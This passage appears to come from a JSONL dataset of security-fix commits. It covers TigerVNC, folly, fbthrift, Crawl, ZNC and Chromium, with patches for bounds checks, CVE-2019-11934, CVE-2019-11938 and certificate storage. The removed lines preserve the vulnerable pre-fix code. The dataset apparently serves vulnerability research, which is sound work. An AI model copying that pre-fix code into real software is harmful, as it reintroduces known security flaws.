maxPixelBufferWidth))\n+ throw rfb::Exception(\"Invalid PixelBuffer width of %d pixels requested\", width);\n+ if ((height < 0) || (height > maxPixelBufferHeight))\n+ throw rfb::Exception(\"Invalid PixelBuffer height of %d pixels requested\", height);\n+\n width_ = width;\n height_ = height;\n }\n", "related": false}, {"section": "@@ -340,6 +353,15 @@ const rdr::U8* FullFramePixelBuffer::getBuffer(const Rect& r, int* stride_) cons\n void FullFramePixelBuffer::setBuffer(int width, int height,\n rdr::U8* data_, int stride_)\n {\n+ if ((width < 0) || (width > maxPixelBufferWidth))\n+ throw rfb::Exception(\"Invalid PixelBuffer width of %d pixels requested\", width);\n+ if ((height < 0) || (height > maxPixelBufferHeight))\n+ throw rfb::Exception(\"Invalid PixelBuffer height of %d pixels requested\", height);\n+ if ((stride_ < 0) || (stride_ > maxPixelBufferStride) || (stride_ < width))\n+ throw rfb::Exception(\"Invalid PixelBuffer stride of %d pixels requested\", stride_);\n+ if ((width != 0) && (height != 0) && (data_ == NULL))\n+ throw rfb::Exception(\"PixelBuffer requested without a valid memory area\");\n+\n ModifiablePixelBuffer::setSize(width, height);\n stride = stride_;\n data = data_;", "related": false}]} +{"owner": "cendioossman", "repo": "tigervnc", "language": "C", "file_name": "common/rdr/FdOutStream.h", "commit_id": "0943c006c7d900dfc0281639e992791d6c567438", "commit_message": "Use size_t for lengths in stream objects\n\nProvides safety against them accidentally becoming negative because\nof bugs in the calculations.\n\nAlso does the same to CharArray and friends as they were strongly\nconnection to the stream objects.", "patch": "@@ -34,28 +34,28 @@ namespace rdr {\n \n public:\n \n- FdOutStream(int fd, bool blocking=true, int timeoutms=-1, int bufSize=0);\n+ FdOutStream(int fd, bool blocking=true, int timeoutms=-1, size_t bufSize=0);\n virtual ~FdOutStream();\n \n void setTimeout(int timeoutms);\n void setBlocking(bool blocking);\n int getFd() { return fd; }\n \n void flush();\n- int length();\n+ size_t length();\n \n int bufferUsage();\n \n unsigned getIdleTime();\n \n private:\n- int overrun(int itemSize, int nItems);\n- int writeWithTimeout(const void* data, int length, int timeoutms);\n+ size_t overrun(size_t itemSize, size_t nItems);\n+ size_t writeWithTimeout(const void* data, size_t length, int timeoutms);\n int fd;\n bool blocking;\n int timeoutms;\n- int bufSize;\n- int offset;\n+ size_t bufSize;\n+ size_t offset;\n U8* start;\n U8* sentUpTo;\n struct timeval lastWrite;", "sections": [{"section": "@@ -34,28 +34,28 @@ namespace rdr {\n \n public:\n \n- FdOutStream(int fd, bool blocking=true, int timeoutms=-1, int bufSize=0);\n+ FdOutStream(int fd, bool blocking=true, int timeoutms=-1, size_t bufSize=0);\n virtual ~FdOutStream();\n \n void setTimeout(int timeoutms);\n void setBlocking(bool blocking);\n int getFd() { return fd; }\n \n void flush();\n- int length();\n+ size_t length();\n \n int bufferUsage();\n \n unsigned getIdleTime();\n \n private:\n- int overrun(int itemSize, int nItems);\n- int writeWithTimeout(const void* data, int length, int timeoutms);\n+ size_t overrun(size_t itemSize, size_t nItems);\n+ size_t writeWithTimeout(const void* data, size_t length, int timeoutms);\n int fd;\n bool blocking;\n int timeoutms;\n- int bufSize;\n- int offset;\n+ size_t bufSize;\n+ size_t offset;\n U8* start;\n U8* sentUpTo;\n struct timeval lastWrite;", "related": false}]} +{"owner": "cendioossman", "repo": "tigervnc", "language": "C", "file_name": "common/rdr/OutStream.h", "commit_id": "0943c006c7d900dfc0281639e992791d6c567438", "commit_message": "Use size_t for lengths in stream objects\n\nProvides safety against them accidentally becoming negative because\nof bugs in the calculations.\n\nAlso does the same to CharArray and friends as they were strongly\nconnection to the stream objects.", "patch": "@@ -44,7 +44,7 @@ namespace rdr {\n // itemSize bytes. Returns the number of items which fit (up to a maximum\n // of nItems).\n \n- inline int check(int itemSize, int nItems=1)\n+ inline size_t check(size_t itemSize, size_t nItems=1)\n {\n if (ptr + itemSize * nItems > end) {\n if (ptr + itemSize > end)\n@@ -76,25 +76,25 @@ namespace rdr {\n writeBytes(str, len);\n }\n \n- inline void pad(int bytes) {\n+ inline void pad(size_t bytes) {\n while (bytes-- > 0) writeU8(0);\n }\n \n- inline void skip(int bytes) {\n+ inline void skip(size_t bytes) {\n while (bytes > 0) {\n- int n = check(1, bytes);\n+ size_t n = check(1, bytes);\n ptr += n;\n bytes -= n;\n }\n }\n \n // writeBytes() writes an exact number of bytes.\n \n- void writeBytes(const void* data, int length) {\n+ void writeBytes(const void* data, size_t length) {\n const U8* dataPtr = (const U8*)data;\n const U8* dataEnd = dataPtr + length;\n while (dataPtr < dataEnd) {\n- int n = check(1, dataEnd - dataPtr);\n+ size_t n = check(1, dataEnd - dataPtr);\n memcpy(ptr, dataPtr, n);\n ptr += n;\n dataPtr += n;\n@@ -103,9 +103,9 @@ namespace rdr {\n \n // copyBytes() efficiently transfers data between streams\n \n- void copyBytes(InStream* is, int length) {\n+ void copyBytes(InStream* is, size_t length) {\n while (length > 0) {\n- int n = check(1, length);\n+ size_t n = check(1, length);\n is->readBytes(ptr, n);\n ptr += n;\n length -= n;\n@@ -124,7 +124,7 @@ namespace rdr {\n \n // length() returns the length of the stream.\n \n- virtual int length() = 0;\n+ virtual size_t length() = 0;\n \n // flush() requests that the stream be flushed.\n \n@@ -145,7 +145,7 @@ namespace rdr {\n // the number of items which fit (up to a maximum of nItems). itemSize is\n // supposed to be \"small\" (a few bytes).\n \n- virtual int overrun(int itemSize, int nItems) = 0;\n+ virtual size_t overrun(size_t itemSize, size_t nItems) = 0;\n \n protected:\n ", "sections": [{"section": "@@ -44,7 +44,7 @@ namespace rdr {\n // itemSize bytes. Returns the number of items which fit (up to a maximum\n // of nItems).\n \n- inline int check(int itemSize, int nItems=1)\n+ inline size_t check(size_t itemSize, size_t nItems=1)\n {\n if (ptr + itemSize * nItems > end) {\n if (ptr + itemSize > end)\n", "related": false}, {"section": "@@ -76,25 +76,25 @@ namespace rdr {\n writeBytes(str, len);\n }\n \n- inline void pad(int bytes) {\n+ inline void pad(size_t bytes) {\n while (bytes-- > 0) writeU8(0);\n }\n \n- inline void skip(int bytes) {\n+ inline void skip(size_t bytes) {\n while (bytes > 0) {\n- int n = check(1, bytes);\n+ size_t n = check(1, bytes);\n ptr += n;\n bytes -= n;\n }\n }\n \n // writeBytes() writes an exact number of bytes.\n \n- void writeBytes(const void* data, int length) {\n+ void writeBytes(const void* data, size_t length) {\n const U8* dataPtr = (const U8*)data;\n const U8* dataEnd = dataPtr + length;\n while (dataPtr < dataEnd) {\n- int n = check(1, dataEnd - dataPtr);\n+ size_t n = check(1, dataEnd - dataPtr);\n memcpy(ptr, dataPtr, n);\n ptr += n;\n dataPtr += n;\n", "related": false}, {"section": "@@ -103,9 +103,9 @@ namespace rdr {\n \n // copyBytes() efficiently transfers data between streams\n \n- void copyBytes(InStream* is, int length) {\n+ void copyBytes(InStream* is, size_t length) {\n while (length > 0) {\n- int n = check(1, length);\n+ size_t n = check(1, length);\n is->readBytes(ptr, n);\n ptr += n;\n length -= n;\n", "related": false}, {"section": "@@ -124,7 +124,7 @@ namespace rdr {\n \n // length() returns the length of the stream.\n \n- virtual int length() = 0;\n+ virtual size_t length() = 0;\n \n // flush() requests that the stream be flushed.\n \n", "related": false}, {"section": "@@ -145,7 +145,7 @@ namespace rdr {\n // the number of items which fit (up to a maximum of nItems). itemSize is\n // supposed to be \"small\" (a few bytes).\n \n- virtual int overrun(int itemSize, int nItems) = 0;\n+ virtual size_t overrun(size_t itemSize, size_t nItems) = 0;\n \n protected:\n ", "related": false}]} +{"owner": "cendioossman", "repo": "tigervnc", "language": "C", "file_name": "common/rdr/ZlibOutStream.h", "commit_id": "0943c006c7d900dfc0281639e992791d6c567438", "commit_message": "Use size_t for lengths in stream objects\n\nProvides safety against them accidentally becoming negative because\nof bugs in the calculations.\n\nAlso does the same to CharArray and friends as they were strongly\nconnection to the stream objects.", "patch": "@@ -35,25 +35,25 @@ namespace rdr {\n \n public:\n \n- ZlibOutStream(OutStream* os=0, int bufSize=0, int compressionLevel=-1);\n+ ZlibOutStream(OutStream* os=0, size_t bufSize=0, int compressionLevel=-1);\n virtual ~ZlibOutStream();\n \n void setUnderlying(OutStream* os);\n void setCompressionLevel(int level=-1);\n void flush();\n- int length();\n+ size_t length();\n \n private:\n \n- int overrun(int itemSize, int nItems);\n+ size_t overrun(size_t itemSize, size_t nItems);\n void deflate(int flush);\n void checkCompressionLevel();\n \n OutStream* underlying;\n int compressionLevel;\n int newLevel;\n- int bufSize;\n- int offset;\n+ size_t bufSize;\n+ size_t offset;\n z_stream_s* zs;\n U8* start;\n };", "sections": [{"section": "@@ -35,25 +35,25 @@ namespace rdr {\n \n public:\n \n- ZlibOutStream(OutStream* os=0, int bufSize=0, int compressionLevel=-1);\n+ ZlibOutStream(OutStream* os=0, size_t bufSize=0, int compressionLevel=-1);\n virtual ~ZlibOutStream();\n \n void setUnderlying(OutStream* os);\n void setCompressionLevel(int level=-1);\n void flush();\n- int length();\n+ size_t length();\n \n private:\n \n- int overrun(int itemSize, int nItems);\n+ size_t overrun(size_t itemSize, size_t nItems);\n void deflate(int flush);\n void checkCompressionLevel();\n \n OutStream* underlying;\n int compressionLevel;\n int newLevel;\n- int bufSize;\n- int offset;\n+ size_t bufSize;\n+ size_t offset;\n z_stream_s* zs;\n U8* start;\n };", "related": false}]} +{"owner": "facebook", "repo": "folly", "language": "C++", "file_name": "folly/io/async/AsyncSSLSocket.cpp", "commit_id": "c321eb588909646c15aefde035fd3133ba32cdee", "commit_message": "Handle close_notify as standard writeErr in AsyncSSLSocket.\n\nSummary: Fixes CVE-2019-11934\n\nReviewed By: mingtaoy\n\nDifferential Revision: D18020613\n\nfbshipit-source-id: db82bb250e53f0d225f1280bd67bc74abd417836", "patch": "@@ -1450,9 +1450,6 @@ AsyncSocket::WriteResult AsyncSSLSocket::interpretSSLError(int rc, int error) {\n WRITE_ERROR,\n std::make_unique(SSLError::INVALID_RENEGOTIATION));\n } else {\n- if (zero_return(error, rc, errno)) {\n- return WriteResult(0);\n- }\n auto errError = ERR_get_error();\n VLOG(3) << \"ERROR: AsyncSSLSocket(fd=\" << fd_ << \", state=\" << int(state_)\n << \", sslState=\" << sslState_ << \", events=\" << eventFlags_ << \"): \"\n@@ -1589,10 +1586,7 @@ AsyncSocket::WriteResult AsyncSSLSocket::performWrite(\n *partialWritten = uint32_t(offset);\n return WriteResult(totalWritten);\n }\n- auto writeResult = interpretSSLError(int(bytes), error);\n- if (writeResult.writeReturn < 0) {\n- return writeResult;\n- } // else fall through to below to correctly record totalWritten\n+ return interpretSSLError(int(bytes), error);\n }\n \n totalWritten += bytes;", "sections": [{"section": "@@ -1450,9 +1450,6 @@ AsyncSocket::WriteResult AsyncSSLSocket::interpretSSLError(int rc, int error) {\n WRITE_ERROR,\n std::make_unique(SSLError::INVALID_RENEGOTIATION));\n } else {\n- if (zero_return(error, rc, errno)) {\n- return WriteResult(0);\n- }\n auto errError = ERR_get_error();\n VLOG(3) << \"ERROR: AsyncSSLSocket(fd=\" << fd_ << \", state=\" << int(state_)\n << \", sslState=\" << sslState_ << \", events=\" << eventFlags_ << \"): \"\n", "related": false}, {"section": "@@ -1589,10 +1586,7 @@ AsyncSocket::WriteResult AsyncSSLSocket::performWrite(\n *partialWritten = uint32_t(offset);\n return WriteResult(totalWritten);\n }\n- auto writeResult = interpretSSLError(int(bytes), error);\n- if (writeResult.writeReturn < 0) {\n- return writeResult;\n- } // else fall through to below to correctly record totalWritten\n+ return interpretSSLError(int(bytes), error);\n }\n \n totalWritten += bytes;", "related": false}]} +{"owner": "chromium", "repo": "chromium", "language": "C", "file_name": "components/offline_pages/core/prefetch/prefetch_dispatcher_impl.cc", "commit_id": "f213227cd4e5bdf5b505a000d296e939c88389d8", "commit_message": "Limitless Prefetching should not always schedule all action tasks\n\nThis reverts the code snipped to what it used to be before limitless was\nintroduced. These tasks should indeed only be scheduled during a\nbackground task run even if limitless is enabled.\n\nBug: 793109\nChange-Id: I0bd427cb245e0e006f560c23cf6843e29d5aac63\nReviewed-on: https://chromium-review.googlesource.com/915206\nReviewed-by: Peter Williamson \nCommit-Queue: Carlos Knippschild \nCr-Commit-Position: refs/heads/master@{#536837}", "patch": "@@ -195,9 +195,8 @@ void PrefetchDispatcherImpl::QueueActionTasks() {\n task_queue_.AddTask(std::move(download_archives_task));\n \n // The following tasks should not be run unless we are in the background task,\n- // as we need to ensure WiFi access at that time. Schedule them anyway if\n- // limitless prefetching is enabled.\n- if (!background_task_ && !offline_pages::IsLimitlessPrefetchingEnabled())\n+ // as we need to ensure WiFi access at that time.\n+ if (!background_task_)\n return;\n \n std::unique_ptr get_operation_task = std::make_unique(", "sections": [{"section": "@@ -195,9 +195,8 @@ void PrefetchDispatcherImpl::QueueActionTasks() {\n task_queue_.AddTask(std::move(download_archives_task));\n \n // The following tasks should not be run unless we are in the background task,\n- // as we need to ensure WiFi access at that time. Schedule them anyway if\n- // limitless prefetching is enabled.\n- if (!background_task_ && !offline_pages::IsLimitlessPrefetchingEnabled())\n+ // as we need to ensure WiFi access at that time.\n+ if (!background_task_)\n return;\n \n std::unique_ptr get_operation_task = std::make_unique(", "related": false}]} +{"owner": "facebook", "repo": "fbthrift", "language": "Java", "file_name": "thrift/lib/java/src/main/java/com/facebook/thrift/protocol/TCompactProtocol.java", "commit_id": "08c2d412adb214c40bb03be7587057b25d053030", "commit_message": "Java: Check the size of the remaining frame before deserializing a string\n\nSummary:\nIn order to avoid over-allocating memory for malformed or truncated frame, we\nensure that we have enough data in the current frame.\n\nThis is a partial fix for CVE-2019-11938.\n\nReviewed By: vitaut\n\nDifferential Revision: D14505601\n\nfbshipit-source-id: c90f248828b067a3a5debcc8df6a3f4e9da6d195", "patch": "@@ -638,6 +638,7 @@ private byte[] readBinary(int length) throws TException {\n return new byte[0];\n }\n \n+ ensureContainerHasEnough(length, TType.BYTE);\n byte[] buf = new byte[length];\n trans_.readAll(buf, 0, length);\n return buf;", "sections": [{"section": "@@ -638,6 +638,7 @@ private byte[] readBinary(int length) throws TException {\n return new byte[0];\n }\n \n+ ensureContainerHasEnough(length, TType.BYTE);\n byte[] buf = new byte[length];\n trans_.readAll(buf, 0, length);\n return buf;", "related": false}]} +{"owner": "crawl", "repo": "crawl", "language": "C", "file_name": "crawl-ref/source/clua.cc", "commit_id": "768f60da87a3fa0b5561da5ade9309577c176d04", "commit_message": "Disable lua bytecode loading", "patch": "@@ -776,10 +776,27 @@ void CLua::init_lua()\n setregistry(\"__clua\");\n }\n \n+static int lua_loadstring(lua_State *ls)\n+{\n+ const auto lua = luaL_checkstring(ls, 1);\n+ if (lua[0] == 0x1b)\n+ abort();\n+ lua_settop(ls, 0);\n+ if (luaL_loadstring(ls, lua))\n+ {\n+ lua_pushnil(ls);\n+ lua_insert(ls, 1);\n+ }\n+ return lua_gettop(ls);\n+}\n+\n void CLua::init_libraries()\n {\n lua_stack_cleaner clean(state());\n \n+ lua_pushcfunction(_state, lua_loadstring);\n+ lua_setglobal(_state, \"loadstring\");\n+\n // Open Crawl bindings\n cluaopen_kills(_state);\n cluaopen_you(_state);", "sections": [{"section": "@@ -776,10 +776,27 @@ void CLua::init_lua()\n setregistry(\"__clua\");\n }\n \n+static int lua_loadstring(lua_State *ls)\n+{\n+ const auto lua = luaL_checkstring(ls, 1);\n+ if (lua[0] == 0x1b)\n+ abort();\n+ lua_settop(ls, 0);\n+ if (luaL_loadstring(ls, lua))\n+ {\n+ lua_pushnil(ls);\n+ lua_insert(ls, 1);\n+ }\n+ return lua_gettop(ls);\n+}\n+\n void CLua::init_libraries()\n {\n lua_stack_cleaner clean(state());\n \n+ lua_pushcfunction(_state, lua_loadstring);\n+ lua_setglobal(_state, \"loadstring\");\n+\n // Open Crawl bindings\n cluaopen_kills(_state);\n cluaopen_you(_state);", "related": false}]} +{"owner": "znc", "repo": "znc", "language": "C++", "file_name": "src/Client.cpp", "commit_id": "2390ad111bde16a78c98ac44572090b33c3bd2d8", "commit_message": "Fix null pointer dereference in echo-message\n\nThe bug was introduced while fixing #1705. If a client did not enable\necho-message, and doesn't have a network, it crashes.\n\nThanks to LunarBNC for reporting this", "patch": "@@ -889,7 +889,7 @@ void CClient::EchoMessage(const CMessage& Message) {\n CMessage EchoedMessage = Message;\n for (CClient* pClient : GetClients()) {\n if (pClient->HasEchoMessage() ||\n- (pClient != this && (m_pNetwork->IsChan(Message.GetParam(0)) ||\n+ (pClient != this && ((m_pNetwork && m_pNetwork->IsChan(Message.GetParam(0))) ||\n pClient->HasSelfMessage()))) {\n EchoedMessage.SetNick(GetNickMask());\n pClient->PutClient(EchoedMessage);", "sections": [{"section": "@@ -889,7 +889,7 @@ void CClient::EchoMessage(const CMessage& Message) {\n CMessage EchoedMessage = Message;\n for (CClient* pClient : GetClients()) {\n if (pClient->HasEchoMessage() ||\n- (pClient != this && (m_pNetwork->IsChan(Message.GetParam(0)) ||\n+ (pClient != this && ((m_pNetwork && m_pNetwork->IsChan(Message.GetParam(0))) ||\n pClient->HasSelfMessage()))) {\n EchoedMessage.SetNick(GetNickMask());\n pClient->PutClient(EchoedMessage);", "related": false}]} +{"owner": "tigervnc", "repo": "tigervnc", "language": "Java", "file_name": "java/com/tigervnc/rfb/CSecurityTLS.java", "commit_id": "f029745f63ac7d22fb91639b2cb5b3ab56134d6e", "commit_message": "Properly store certificate exceptions in Java viewer\n\nLike the native viewer, the Java viewer didn't store certificate\nexceptions properly. Whilst not as bad as the native viewer, it still\nfailed to check that a stored certificate wouldn't be maliciously used\nfor another server. In practice this can in most cases be used to\nimpersonate another server.\n\nHandle this like the native viewer by storing exceptions for a specific\nhostname/certificate combination.", "patch": "@@ -107,12 +107,6 @@ public static void setDefaults()\n X509CRL.setDefaultStr(getDefaultCRL());\n }\n \n-// FIXME:\n-// Need to shutdown the connection cleanly\n-\n-// FIXME?\n-// add a finalizer method that calls shutdown\n-\n public boolean processMsg(CConnection cc) {\n is = (FdInStream)cc.getInStream();\n os = (FdOutStream)cc.getOutStream();\n@@ -269,8 +263,13 @@ public void checkServerTrusted(X509Certificate[] chain, String authType)\n {\n Collection certs = null;\n X509Certificate cert = chain[0];\n+ String pk =\n+ Base64.getEncoder().encodeToString(cert.getPublicKey().getEncoded());\n try {\n cert.checkValidity();\n+ verifyHostname(cert);\n+ } catch(CertificateParsingException e) {\n+ throw new SystemException(e.getMessage());\n } catch(CertificateNotYetValidException e) {\n throw new AuthFailureException(\"server certificate has not been activated\");\n } catch(CertificateExpiredException e) {\n@@ -279,73 +278,111 @@ public void checkServerTrusted(X509Certificate[] chain, String authType)\n \t\t\t \"do you want to continue?\"))\n throw new AuthFailureException(\"server certificate has expired\");\n }\n- String thumbprint = getThumbprint(cert);\n File vncDir = new File(FileUtils.getVncHomeDir());\n- File certFile = new File(vncDir, \"x509_savedcerts.pem\");\n- CertificateFactory cf = CertificateFactory.getInstance(\"X.509\");\n- if (vncDir.exists() && certFile.exists() && certFile.canRead()) {\n- InputStream certStream = new MyFileInputStream(certFile);\n- certs = cf.generateCertificates(certStream);\n- for (Certificate c : certs)\n- if (thumbprint.equals(getThumbprint((X509Certificate)c)))\n- return;\n- }\n+ if (!vncDir.exists())\n+ throw new AuthFailureException(\"Could not obtain VNC home directory \"+\n+ \"path for known hosts storage\");\n+ File dbPath = new File(vncDir, \"x509_known_hosts\");\n+ String info =\n+ \" Subject: \"+cert.getSubjectX500Principal().getName()+\"\\n\"+\n+ \" Issuer: \"+cert.getIssuerX500Principal().getName()+\"\\n\"+\n+ \" Serial Number: \"+cert.getSerialNumber()+\"\\n\"+\n+ \" Version: \"+cert.getVersion()+\"\\n\"+\n+ \" Signature Algorithm: \"+cert.getPublicKey().getAlgorithm()+\"\\n\"+\n+ \" Not Valid Before: \"+cert.getNotBefore()+\"\\n\"+\n+ \" Not Valid After: \"+cert.getNotAfter()+\"\\n\"+\n+ \" SHA-1 Fingerprint: \"+getThumbprint(cert)+\"\\n\";\n try {\n- verifyHostname(cert);\n+ if (dbPath.exists()) {\n+ FileReader db = new FileReader(dbPath);\n+ BufferedReader dbBuf = new BufferedReader(db);\n+ String line;\n+ String server = client.getServerName().toLowerCase();\n+ while ((line = dbBuf.readLine())!=null) {\n+ String fields[] = line.split(\"\\\\|\");\n+ if (fields.length==6) {\n+ if (server.equals(fields[2]) && pk.equals(fields[5])) {\n+ vlog.debug(\"Server certificate found in known hosts file\");\n+ dbBuf.close();\n+ return;\n+ } else if (server.equals(fields[2]) && !pk.equals(fields[5]) ||\n+ !server.equals(fields[2]) && pk.equals(fields[5])) {\n+ throw new CertStoreException();\n+ }\n+ }\n+ }\n+ dbBuf.close();\n+ }\n tm.checkServerTrusted(chain, authType);\n+ } catch (IOException e) {\n+ throw new AuthFailureException(\"Could not load known hosts database\");\n+ } catch (CertStoreException e) {\n+ vlog.debug(\"Server host key mismatch\");\n+ vlog.debug(info);\n+ String text =\n+ \"This host is previously known with a different \"+\n+ \"certificate, and the new certificate has been \"+\n+ \"signed by an unknown authority\\n\"+\n+ \"\\n\"+info+\"\\n\"+\n+ \"Someone could be trying to impersonate the site and you should not continue.\\n\"+\n+ \"\\n\"+\n+ \"Do you want to make an exception for this server?\";\n+ if (!msg.showMsgBox(YES_NO_OPTION, \"Unexpected certificate issuer\", text))\n+ throw new AuthFailureException(\"Unexpected certificate issuer\");\n+ store_pubkey(dbPath, client.getServerName().toLowerCase(), pk);\n } catch (java.lang.Exception e) {\n if (e.getCause() instanceof CertPathBuilderException) {\n- String certinfo =\n+ vlog.debug(\"Server host not previously known\");\n+ vlog.debug(info);\n+ String text =\n \"This certificate has been signed by an unknown authority\\n\"+\n+ \"\\n\"+info+\"\\n\"+\n+ \"Someone could be trying to impersonate the site and you should not continue.\\n\"+\n \"\\n\"+\n- \" Subject: \"+cert.getSubjectX500Principal().getName()+\"\\n\"+\n- \" Issuer: \"+cert.getIssuerX500Principal().getName()+\"\\n\"+\n- \" Serial Number: \"+cert.getSerialNumber()+\"\\n\"+\n- \" Version: \"+cert.getVersion()+\"\\n\"+\n- \" Signature Algorithm: \"+cert.getPublicKey().getAlgorithm()+\"\\n\"+\n- \" Not Valid Before: \"+cert.getNotBefore()+\"\\n\"+\n- \" Not Valid After: \"+cert.getNotAfter()+\"\\n\"+\n- \" SHA1 Fingerprint: \"+getThumbprint(cert)+\"\\n\"+\n- \"\\n\"+\n- \"Do you want to save it and continue?\";\n- if (!msg.showMsgBox(YES_NO_OPTION, \"certificate issuer unknown\",\n- certinfo)) {\n- throw new AuthFailureException(\"certificate issuer unknown\");\n- }\n- if (certs == null || !certs.contains(cert)) {\n- byte[] der = cert.getEncoded();\n- String pem = Base64.getEncoder().encodeToString(der);\n- pem = pem.replaceAll(\"(.{64})\", \"$1\\n\");\n- FileWriter fw = null;\n- try {\n- if (!vncDir.exists())\n- vncDir.mkdir();\n- if (!certFile.exists() && !certFile.createNewFile()) {\n- vlog.error(\"Certificate save failed.\");\n- } else {\n- fw = new FileWriter(certFile.getAbsolutePath(), true);\n- fw.write(\"-----BEGIN CERTIFICATE-----\\n\");\n- fw.write(pem+\"\\n\");\n- fw.write(\"-----END CERTIFICATE-----\\n\");\n- }\n- } catch (IOException ioe) {\n- msg.showMsgBox(OK_OPTION, \"certificate save failed\",\n- \"Could not save the certificate\");\n- } finally {\n- try {\n- if (fw != null)\n- fw.close();\n- } catch(IOException ioe2) {\n- throw new Exception(ioe2.getMessage());\n- }\n- }\n- }\n+ \"Do you want to make an exception for this server?\";\n+ if (!msg.showMsgBox(YES_NO_OPTION, \"Unknown certificate issuer\", text))\n+ throw new AuthFailureException(\"Unknown certificate issuer\");\n+ store_pubkey(dbPath, client.getServerName().toLowerCase(), pk);\n } else {\n throw new SystemException(e.getMessage());\n }\n }\n }\n \n+ private void store_pubkey(File dbPath, String serverName, String pk)\n+ {\n+ ArrayList lines = new ArrayList();\n+ File vncDir = new File(FileUtils.getVncHomeDir());\n+ try {\n+ if (dbPath.exists()) {\n+ FileReader db = new FileReader(dbPath);\n+ BufferedReader dbBuf = new BufferedReader(db);\n+ String line;\n+ while ((line = dbBuf.readLine())!=null) {\n+ String fields[] = line.split(\"\\\\|\");\n+ if (fields.length==6)\n+ if (!serverName.equals(fields[2]) && !pk.equals(fields[5]))\n+ lines.add(line);\n+ }\n+ dbBuf.close();\n+ }\n+ } catch (IOException e) {\n+ throw new AuthFailureException(\"Could not load known hosts database\");\n+ }\n+ try {\n+ if (!dbPath.exists())\n+ dbPath.createNewFile();\n+ FileWriter fw = new FileWriter(dbPath.getAbsolutePath(), false);\n+ Iterator i = lines.iterator();\n+ while (i.hasNext())\n+ fw.write((String)i.next()+\"\\n\");\n+ fw.write(\"|g0|\"+serverName+\"|*|0|\"+pk+\"\\n\");\n+ fw.close();\n+ } catch (IOException e) {\n+ vlog.error(\"Failed to store server certificate to known hosts database\");\n+ }\n+ }\n+\n public X509Certificate[] getAcceptedIssuers ()\n {\n return tm.getAcceptedIssuers();\n@@ -399,12 +436,13 @@ private void verifyHostname(X509Certificate cert)\n }\n Object[] answer = {\"YES\", \"NO\"};\n int ret = JOptionPane.showOptionDialog(null,\n- \"Hostname verification failed. Do you want to continue?\",\n- \"Hostname Verification Failure\",\n+ \"Hostname (\"+client.getServerName()+\") does not match the\"+\n+ \" server certificate, do you want to continue?\",\n+ \"Certificate hostname mismatch\",\n JOptionPane.YES_NO_OPTION, JOptionPane.WARNING_MESSAGE,\n null, answer, answer[0]);\n if (ret != JOptionPane.YES_OPTION)\n- throw new WarningException(\"Hostname verification failed.\");\n+ throw new WarningException(\"Certificate hostname mismatch.\");\n } catch (CertificateParsingException e) {\n throw new SystemException(e.getMessage());\n } catch (InvalidNameException e) {", "sections": [{"section": "@@ -107,12 +107,6 @@ public static void setDefaults()\n X509CRL.setDefaultStr(getDefaultCRL());\n }\n \n-// FIXME:\n-// Need to shutdown the connection cleanly\n-\n-// FIXME?\n-// add a finalizer method that calls shutdown\n-\n public boolean processMsg(CConnection cc) {\n is = (FdInStream)cc.getInStream();\n os = (FdOutStream)cc.getOutStream();\n", "related": false}, {"section": "@@ -269,8 +263,13 @@ public void checkServerTrusted(X509Certificate[] chain, String authType)\n {\n Collection certs = null;\n X509Certificate cert = chain[0];\n+ String pk =\n+ Base64.getEncoder().encodeToString(cert.getPublicKey().getEncoded());\n try {\n cert.checkValidity();\n+ verifyHostname(cert);\n+ } catch(CertificateParsingException e) {\n+ throw new SystemException(e.getMessage());\n } catch(CertificateNotYetValidException e) {\n throw new AuthFailureException(\"server certificate has not been activated\");\n } catch(CertificateExpiredException e) {\n", "related": false}, {"section": "@@ -279,73 +278,111 @@ public void checkServerTrusted(X509Certificate[] chain, String authType)\n \t\t\t \"do you want to continue?\"))\n throw new AuthFailureException(\"server certificate has expired\");\n }\n- String thumbprint = getThumbprint(cert);\n File vncDir = new File(FileUtils.getVncHomeDir());\n- File certFile = new File(vncDir, \"x509_savedcerts.pem\");\n- CertificateFactory cf = CertificateFactory.getInstance(\"X.509\");\n- if (vncDir.exists() && certFile.exists() && certFile.canRead()) {\n- InputStream certStream = new MyFileInputStream(certFile);\n- certs = cf.generateCertificates(certStream);\n- for (Certificate c : certs)\n- if (thumbprint.equals(getThumbprint((X509Certificate)c)))\n- return;\n- }\n+ if (!vncDir.exists())\n+ throw new AuthFailureException(\"Could not obtain VNC home directory \"+\n+ \"path for known hosts storage\");\n+ File dbPath = new File(vncDir, \"x509_known_hosts\");\n+ String info =\n+ \" Subject: \"+cert.getSubjectX500Principal().getName()+\"\\n\"+\n+ \" Issuer: \"+cert.getIssuerX500Principal().getName()+\"\\n\"+\n+ \" Serial Number: \"+cert.getSerialNumber()+\"\\n\"+\n+ \" Version: \"+cert.getVersion()+\"\\n\"+\n+ \" Signature Algorithm: \"+cert.getPublicKey().getAlgorithm()+\"\\n\"+\n+ \" Not Valid Before: \"+cert.getNotBefore()+\"\\n\"+\n+ \" Not Valid After: \"+cert.getNotAfter()+\"\\n\"+\n+ \" SHA-1 Fingerprint: \"+getThumbprint(cert)+\"\\n\";\n try {\n- verifyHostname(cert);\n+ if (dbPath.exists()) {\n+ FileReader db = new FileReader(dbPath);\n+ BufferedReader dbBuf = new BufferedReader(db);\n+ String line;\n+ String server = client.getServerName().toLowerCase();\n+ while ((line = dbBuf.readLine())!=null) {\n+ String fields[] = line.split(\"\\\\|\");\n+ if (fields.length==6) {\n+ if (server.equals(fields[2]) && pk.equals(fields[5])) {\n+ vlog.debug(\"Server certificate found in known hosts file\");\n+ dbBuf.close();\n+ return;\n+ } else if (server.equals(fields[2]) && !pk.equals(fields[5]) ||\n+ !server.equals(fields[2]) && pk.equals(fields[5])) {\n+ throw new CertStoreException();\n+ }\n+ }\n+ }\n+ dbBuf.close();\n+ }\n tm.checkServerTrusted(chain, authType);\n+ } catch (IOException e) {\n+ throw new AuthFailureException(\"Could not load known hosts database\");\n+ } catch (CertStoreException e) {\n+ vlog.debug(\"Server host key mismatch\");\n+ vlog.debug(info);\n+ String text =\n+ \"This host is previously known with a different \"+\n+ \"certificate, and the new certificate has been \"+\n+ \"signed by an unknown authority\\n\"+\n+ \"\\n\"+info+\"\\n\"+\n+ \"Someone could be trying to impersonate the site and you should not continue.\\n\"+\n+ \"\\n\"+\n+ \"Do you want to make an exception for this server?\";\n+ if (!msg.showMsgBox(YES_NO_OPTION, \"Unexpected certificate issuer\", text))\n+ throw new AuthFailureException(\"Unexpected certificate issuer\");\n+ store_pubkey(dbPath, client.getServerName().toLowerCase(), pk);\n } catch (java.lang.Exception e) {\n if (e.getCause() instanceof CertPathBuilderException) {\n- String certinfo =\n+ vlog.debug(\"Server host not previously known\");\n+ vlog.debug(info);\n+ String text =\n \"This certificate has been signed by an 